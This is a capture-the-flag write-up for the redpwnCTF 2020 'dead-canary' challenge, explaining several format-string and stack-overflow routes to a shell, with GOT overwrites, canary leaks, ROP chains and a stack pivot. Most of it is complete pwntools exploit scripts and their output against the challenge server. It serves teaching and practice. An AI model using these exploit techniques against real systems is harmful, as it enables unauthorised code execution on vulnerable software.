dead-canary

by datajerk / burner_herz0g

Tags: format-string pwn

Rating: 5.0

redpwnCTF 2020

pwn/dead-canary

> NotDeGhost
> 475
> It is a terrible crime to slay a canary. Killing a canary will keep your exploit alive even if you are an inch from segfaults. But at a terrible price.
> `nc 2020.redpwnc.tf 31744`
> `dead-canary.tar.gz`

Tags: *pwn x86-64 stack-canary format-string remote-shell rop stack-pivot bof*

Summary

Leverage a format string exploit to leak libc and change `__stack_chk_fail` to `main` for multiple passes triggered by canary corruption (bof), after that, there are options:

1. ROP chain on stack and pivot exploit.py exploit5.py exploit7.py
2. Change `printf` to `system` (no canary leak) exploit2.py exploit3.py
3. Avoid pivot and use `one_gadget` (the bof is tight--8 bytes) exploit4.py
4. Leak stack location and write out ROP chain directly after saved RBP (no canary leak) exploit6.py

I kinda beat this one to death. For the CTF I went with option 1 (exploit.py)--something I'd not done before. As for the rest, this was a good excuse to work on some automation and a better understanding of pwntools fmtstr support, as well as some better format string handling.

Analysis

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

No PIE + Partial RELRO = easy GOT updates. Given the challenge title, we'll have to deal with the canary first.

Decompile with Ghidra

```
undefined8 FUN_00400737(void)

{
```

```
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  printf("What is your name: ");
  FUN_004007fc(0,local_118,0x120);
  printf("Hello ");
  printf(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

That's it. (`FUN_004007fc` is just a frontend to `read`.)

There's at least three vulnerabilities:

1. `printf(local_118)`--format string is missing.
2. An 8 byte overflow if the canary is known; `local_118` is `0x118` bytes from the return address (see Ghidra stack diagram), and `FUN_004007fc` is reading up to `0x120` bytes. This allows for a single 8 byte payload (gadget or pivot).
3. A format string exploit can overwrite the GOT, the stack, and any other writable region of memory; and read just about anything.

Since there's no loop and no obvious one-shot solution, overwriting `__stack_chk_fail` GOT to jump to `main` (`FUN_00400737`) for infinite passes is the first step, then corrupting the canary (bof) on each pass will score another pass.

Exploit(s)

Option 1: ROP chain on stack and pivot

First, we have to find the offsets in the stack for all the leaks and format strings. Normally I'd just run the binary in GDB, set a break point just before the vulnerable `printf` and then examine where my input was on the stack. But lately I've been just writing something like this:

```
#!/usr/bin/python3

from pwn import *

def scanit(binary,t):
    context.log_level='WARN'
    p = process(binary.path)
    p.recvuntil('name: ')
    p.sendline(t)
    p.recvuntil('Hello ')
    _ = p.recvline().strip()
    p.close()
    return _

def findoffset(binary):
    for i in range(1,20):
        t = '%' + str(i).rjust(2,'0') + '$018p'
        _ = scanit(binary,t)
        print(i,_)
        if _.find(b'0x') >= 0:
            s = bytes.fromhex(_[2:].decode())[::-1]
            if s == t.encode():
```

```
                return(i)
    return None
```

This first half of offset.py will emit each line of the stack and compare with the input, if there's a match, then the offset is returned.

```
def findcanary(binary,offset):
    for i in range(offset,50):
        t = '%' + str(i).rjust(2,'0') + '$018p'
        context.log_level='WARN'
        p = process(binary.path)
        d = process(['gdb',binary.path,'-p',str(p.pid)])
        d.sendlineafter('gdb) ','source ~/.gdbinit_gef')
        d.sendlineafter('gef➤ ','canary')
        d.recvuntil('canary of process ' + str(p.pid) + ' is ')
        canary = d.recvline().strip()
        d.sendlineafter('gef➤ ','c')
        d.close()
        p.recvuntil('name: ')
        p.sendline(t)
        p.recvuntil('Hello ')
        _ = p.recvline().strip()
        print(i,_,canary)
        if _ == canary:
            return(i)
    return None

binary = ELF('./dead-canary')

offset = findoffset(binary)
canaryoffset = findcanary(binary,offset)

print()
print('offset:',offset)
print('canaryoffset:',canaryoffset)
```

The second half returns the offset of the canary. This is a little tricker since the canary changes on each run and there's no loops (yet). This hack just uses GEF to get the canary, then checks one (incrementing) stack offset until there's a match.

Final output:

```
offset: 6
canaryoffset: 39
```

This is all that is needed to write an exploit to update the GOT as well as overflow the buffer with an 8 byte attack, however there's nothing really useful in the binary (no win function), so libc will need to be leaked. This can be done with a format string exploit using `%s` to leak from the GOT (see Got It as an example) or we can just pull from the stack. I went with the latter since I wanted to find a stack address as well:

```
06: 0x00007fffffffe410│+0x0000: 0x0000000a68616c62 ("blah\n"?) ← $rsp, $rdi
...
39: 0x00007fffffffe518│+0x0108: 0xd47acbfe72babe00
40: 0x00007fffffffe520│+0x0110: 0x0000000000400880  →   push r15 ← $rbp
41: 0x00007fffffffe528│+0x0118: 0x00007ffff7a05b97  →  <__libc_start_main+231> mov edi, eax
42: 0x00007fffffffe530│+0x0120: 0x0000000000000001
43: 0x00007fffffffe538│+0x0128: 0x00007fffffffe608  →  0x00007fffffffe809  →  "/pwd/datajerk/redpwnctf2
020/dead-canary/bin/dead-c[...]"
```

Above is the stack after setting a break point just before the vulnerable `printf` and entering `blah` as *your name:*. From the script above we know that the start of the `printf` is at offset 6 (I numbered the stack above), and that the canary is at

offset 39. This aligns with the output above. Looking down stack there's a reference to libc at offset 41 and a stack leak at offset 43 (it's very similar to the stack addresses).

Now we have everything we need.

exploit.py:

```
#!/usr/bin/python3

from pwn import *

binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737

rop = ROP([binary])
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
add_rsp_8 = rop.find_gadget(['add rsp, 8','ret'])[0]

offset = 6
canaryoffset = 39
libcoffset = 41

#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31744)
```

Above is the initial setup. The offsets were computed or discovered above. Since there's no symbols in the binary, `main` had to be manually assigned (see Ghidra disassembly for `FUN_00400737`). We'll also need a few ROP gadgets for the ROP chain (`pop rdi` and `add rsp, 8` are functionally identical for this exploit, however my first thought was to just add to `rsp`).

```
# first pass, inf. retries if we blow out canary, leak libc
p.recvuntil('name: ')
payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc
```

The first pass is the most important and sets the stage for multiple passes. From the top down:

1. The payload starts with exactly 8 bytes that will read the libc leak from offset `41`. We must keep the stack aligned and also keep track of format string offset *offsets*, as well as how many bytes will be emitted. The `$018p` ensures that exactly 18 bytes are emitted. This needs to be passed to the `fmtstr_payload` function so that it can properly compute format string exploit.
2. pwntools out-of-the-box includes fantastic format string exploit support. All of the exploits in this walkthrough leverage this, but in slightly different ways. The first parameter is the `offset`, this is off by one since we already used 8 bytes; we have to inform `fmtstr_payload` of that fact or its math will be off (`len(payload) // 8` would have been more portable). The next parameter is a dictionary of *where*:*what*. In this example, we're replacing the `__stack_chk_fail` GOT entry with the address of `main`. This will cause any call to `__stack_chk_fail` to jump to `main`. The last parameter is the number of bytes emitted by `printf`. This is very important, for format string exploits to work the exact number of previous emitted bytes needs to be accounted for, or the math will fail. The `printf` format string to leak a libc address emits exactly 18 bytes.

3. The rest of the payload just fills up the stack up to and including the first canary byte. `0x118 - 0x10` (see Ghidra stack diagram, char array is at `0x118` and canary is at `0x10`). The extra `A` (`+ 1`) corrupts the least significant byte of the canary. This will cause `__stack_chk_fail` to jump to `main` for our next pass at the end of `main`.
4. The final `printf` called in `main` will emit `18` bytes--the leaked libc address. And since the version of libc was provided (inferred from the use of Ubuntu 18.04 in the Dockerfile), we can simply compute the base of libc.

```
# 2nd pass, leak canary, setup payload
p.recvuntil('name: ')
payload  = b'%' + str(canaryoffset).encode().rjust(2,b'0') + b'$018p'
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').__next__())
payload += p64(libc.symbols['system'])
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(16)
canary = int(_,16) << 8
log.info('canary: ' + hex(canary))
```

The second pass is not unlike the first pass, but this time we leak the canary. But also setup our payload in the stack. Again it is important to keep it all stack aligned. And again we have to overwrite the canary byte to trigger a third pass. The good news is that the canary least significant byte is always `0x00`, so we just need to read `16` bytes from the emitted `18`, and shift left for the `0x00`.

At this point we also have our payload in the stack. When this second pass *jumps* (not *returns*) back to `main`, `main` will allocate more stack space, leaving this stack space alone, *right on top of this stack space*. You can follow the assembly to see this, or just play around in GDB (I did).

On the third pass the stack will look like this:

```
3rd pass 264 char buffer (<- rsp)
3rd pass canary (same as all canaries)
3rd pass rdb
3rd pass return address
2nd pass 8-byte format string to emit canary (%39$018p)
2nd pass address to ret gadget
2nd pass address to pop rdi gadget
...
```

```
# final pass pivot
p.recvuntil('name: ')
payload  = (0x118 - 0x10) * b'A'
payload += p64(canary)
payload += 8 * b'B'
payload += p64(add_rsp_8)
p.send(payload)
p.interactive()
```

For the final pass we just need to craft a payload with the canary for our bof attack. `(0x118 - 0x10) * b'A'` will fill the buffer with `A`s up to the canary, next send the leaked canary, after that 8 bytes for the save base pointer, then finally 8 bytes to change the stack pointer to our payload. That `add rsp,8` will just jump over the `%39$018p` left over from emitting the canary (a `pop rdi` would have done the same). With the stack pointer now positioned at our payload we get a shell.

Output:

```
# ./exploit.py
[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
```

```
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './dead-canary'
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
[*] __libc_start_main: 0x7f679bdf9ab0
[*] baselibc: 0x7f679bdd8000
[*] canary: 0x6a3b6d6c6f4b8500
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
```

exploit5.py is the same as exploit.py (above) except that libc and the canary are leaked together in the first pass:

```
payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += b'%' + str(canaryoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
2*18)
```

This means `2` has to be added to the `offset` for `fmtstr_payload` as well as `numbwritten` also being doubled.

The final *pivot* is nothing more than a `ret` gadget, since there's no format string that needs to be skipped over.

Option 1a: Option 1 using `%s` to leak libc

From exploit7.py:

```
# first pass, inf. retries if we blow out canary, leak libc
p.recvuntil('name: ')
infpass  = fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
8)
payload  = b'%' + str(offset+1+(len(infpass) // 8)).encode().rjust(2,b'0') + b'$008s'
payload += infpass
payload += p64(binary.got['printf'])
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(8).lstrip()
printf = u64(_ + (8-len(_))*b'\x00')
log.info('printf: ' + hex(printf))
baselibc = printf - libc.symbols['printf']
```

This is identical to the previous exploit, however instead of leaking libc from the stack (easier), this is leaking from the GOT. This is a little tricker when combining with a write format string.

First, the write format string `infpass` is computed--we need this to compute its length. The `+1` is to make room for the read format string.

Next, the read format string requires an argument, and since the argument may have (and will have) nulls, then that address has to be last. Its offset is `+1` for the same reasons as before plus the length of the write format string / 8.

Then, we add the write format string exploit to the payload, followed by the address that `%008s` will *read and emit* (not just emit like `%p`, i.e. `%p` emits an address, `%s` the contents of the address up to the first null).

The conversion is a bit different, but the results are the same, and the rest of the code is identical to the previous exploit.

Output:

```
# ./exploit7.py
[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './dead-canary'
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
[*] printf: 0x7fe4ffd8ae80
[*] baselibc: 0x7fe4ffd26000
[*] canary: 0xd8ef9ff82f8c1b00
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
```

Option 2: Change `printf` to `system` (no canary leak)

exploit2.py:

```
#!/usr/bin/python3

from pwn import *

binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737

offset = 6
libcoffset = 41

#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31744)

# first pass, inf. retries if we blow out canary, leak libc
p.recvuntil('name: ')
payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc

# 2nd pass, printf -> system
p.recvuntil('name: ')
```

```
payload  = fmtstr_payload(offset,{binary.got['printf']:libc.symbols['system']},numbwritten=0)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)

# take out the garbage
null = payload.find(b'\x00')
log.info('null loc: ' + str(null))
p.recvuntil(payload[null-2:null])

# final pass, flying blind
p.sendline('/bin/sh')
p.interactive()
```

The first part of this is identical to exploit.py--leak libc. However the 2nd pass updates the GOT again, but this time replaces `printf` with `system`. At this point we're flying blind and `system` is getting passed strings as commands. As expected there will be a lot garbage on the screen, to help with that:

```
null = payload.find(b'\x00')
log.info('null loc: ' + str(null))
p.recvuntil(payload[null-2:null])
```

will search for the two bytes before the first null, and then wait for that output so that interactive does not pick up too much garbage.

Output:

```
# ./exploit2.py
[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
[*] __libc_start_main: 0x7fd198a11ab0
[*] baselibc: 0x7fd1989f0000
[*] null loc: 75
[*] Switching to interactive mode
sh: 1: What: not found
sh: 1: Hello: not found
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
```

> The game masters could have really messed with us if there were `What` and `Hello` commands that did nothing but disco you or hang.

exploit3.py is identical to exploit2.py except that it just types `cat flag.txt` for you.

Option 3: Avoid pivot and use `one_gadget`

exploit4.py:

```
#!/usr/bin/python3

from pwn import *
```

```
binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737
libc.symbols['gadget'] = [0x4f2c5, 0x4f322, 0x10a38c][0]

offset = 6
canary = 39
libcleak = 41

#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31744)

# first pass, inf. retries if we blow out canary, leak libc, leak canary
p.recvuntil('name: ')
payload  = b'%' + str(libcleak).encode().rjust(2,b'0') + b'$018p'
payload += b'%' + str(canary).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
2*18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc
_ = p.recv(16)
canary = int(_,16) << 8
log.info('canary: ' + hex(canary))

# final pass gadget
p.recvuntil('name: ')
payload  = (0x118 - 0x10) * b'A'
payload += p64(canary)
payload += 8 * b'B'
payload += p64(libc.symbols['gadget'])
p.send(payload)
p.interactive()
```

This is based on exploit5.py, however instead of a middle pass to setup a payload that requires a pivot, `one_gadget` is simply used to get a shell.

> I personally try to avoid using `one_gadget` in favor of portable code, but sometimes 8 bytes is all you get.
> I only tested the first gadget of the three possible options.

Option 4: Leak stack location and write out ROP chain directly after saved RBP

This uses the stack address leak discussed (but not used) in the first exploit. However we still need to compute the distance from the leak to the return address so we know where to write our exploit:

```
#!/usr/bin/python3

from pwn import *

binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737
```

```
rop = ROP([binary])
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]

offset = 6
libcoffset = 41
stackoffset = 43

p = process(binary.path)

# first pass, inf. retries if we blow out canary, leak libc, leak stack
payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += b'%' + str(stackoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
2*18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.sendafter('name: ',payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc
_ = p.recv(18)
stack = int(_,16)
log.info('stack: ' + hex(stack))

# gdb to pid while waiting for 'name:'
d = process(['gdb',binary.path,'-p',str(p.pid)])
d.sendlineafter('gdb) ','b *0x004007dc') # just before last printf
d.sendlineafter('gdb) ','continue')

p.sendlineafter('name: ','foobar')

# should be at break
d.sendlineafter('gdb) ','p/x $rbp')
_ = d.recvline().strip().split()[-1]
rbp = int(_,16)

print('\nreturnoffset:',hex(stack - (rbp + 8)),'\n')
```

Normally I'd just do this in GDB while crafting my exploit: Once I get to the part where I need the offset I use `pause()`, connect to the process, set my break point, continue, unpause (press *return*), then at the break, look at the return address, then `p/x leak - return`, etc...

And that is exactly what the script above does. I'm getting tired of manual offset computation (if you cannot tell). And sometimes it can cost you time if you have an error in your cut/paste or type it in wrong. Also, sometimes its not always consistent, so having code do this for you is better. Then you can run this 100 times to verify (with ASLR) that it's correct.

> I could not find a way using the native pwntools `gdb.attach` to actually send commands to GDB, hence the above.

Output:

```
returnoffset: 0x200
```

exploit6.py:

```
#!/usr/bin/python3
```

```
from pwn import *

binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737

rop = ROP([binary])
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]

offset = 6
libcoffset = 41
stackoffset = 43
returnoffset = 0x200

#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31744)

# first pass, inf. retries if we blow out canary, leak libc, leak stack
p.recvuntil('name: ')
payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += b'%' + str(stackoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=
2*18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc
_ = p.recv(18)
retaddr = int(_,16) - returnoffset
log.info('retaddr: ' + hex(retaddr))

# final pass, setup ROP chain in retaddr
p.recvuntil('name: ')
payload = fmtstr_payload(offset,{
    retaddr+ 0:ret,
    retaddr+ 8:pop_rdi,
    retaddr+16:libc.search(b'/bin/sh').__next__(),
    retaddr+24:libc.symbols['system']
},numbwritten=0,write_size='short',overflows=1)

log.info('payload len: ' + str(len(payload)))
if len(payload) > 0x118 - 0x10:
    log.critical('payload too long! exiting!')
    sys.exit(1)

p.sendline(payload)

# take out the garbage
null = payload.find(b'\x00')
log.info('null loc: ' + str(null))
p.recvuntil(payload[null-2:null])

p.interactive()
```

This starts out just like all the rest, except this time only libc and the stack is leaked, no canary required, no *bof* attempted.

The second and final pass uses a single format string exploit to write out the payload starting at the return address. This is an example of multiple writes with a single format string. Since nothing else emitted, no need to *offset* the `offset`, also no previous emitted byte count required either (`numbwritten`). However, `write_size` set to `short` is recommended. By default the format string will be constructed to update bytes, this emits much less garbage and execute faster at the expense of a longer format string. In this case the format string is too long more often than not (remember ASLR, things change).

```
if len(payload) > 0x118 - 0x10:
    log.critical('payload too long! exiting!')
    sys.exit(1)
```

Checks if the format string will overrun the canary and will just bail if too long. Changing the `write_size` to `short` will produce a shorter format string and the expense of a lot more garbage, however the same trick as used before can manage that so that we get nice clean output.

> The other option is to keep the size as `byte` (default) and increase `overflows`, but this task does not need that level of tuning.

Output:

```
# ./exploit6.py
[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './dead-canary'
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
[*] __libc_start_main: 0x7f853e35eab0
[*] baselibc: 0x7f853e33d000
[*] retaddr: 0x7fff6a7afe98
[*] payload len: 200
[*] null loc: 126
[*] Switching to interactive mode
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/blob/master/redpwnctf2020/dead-canary/README.md).

Comments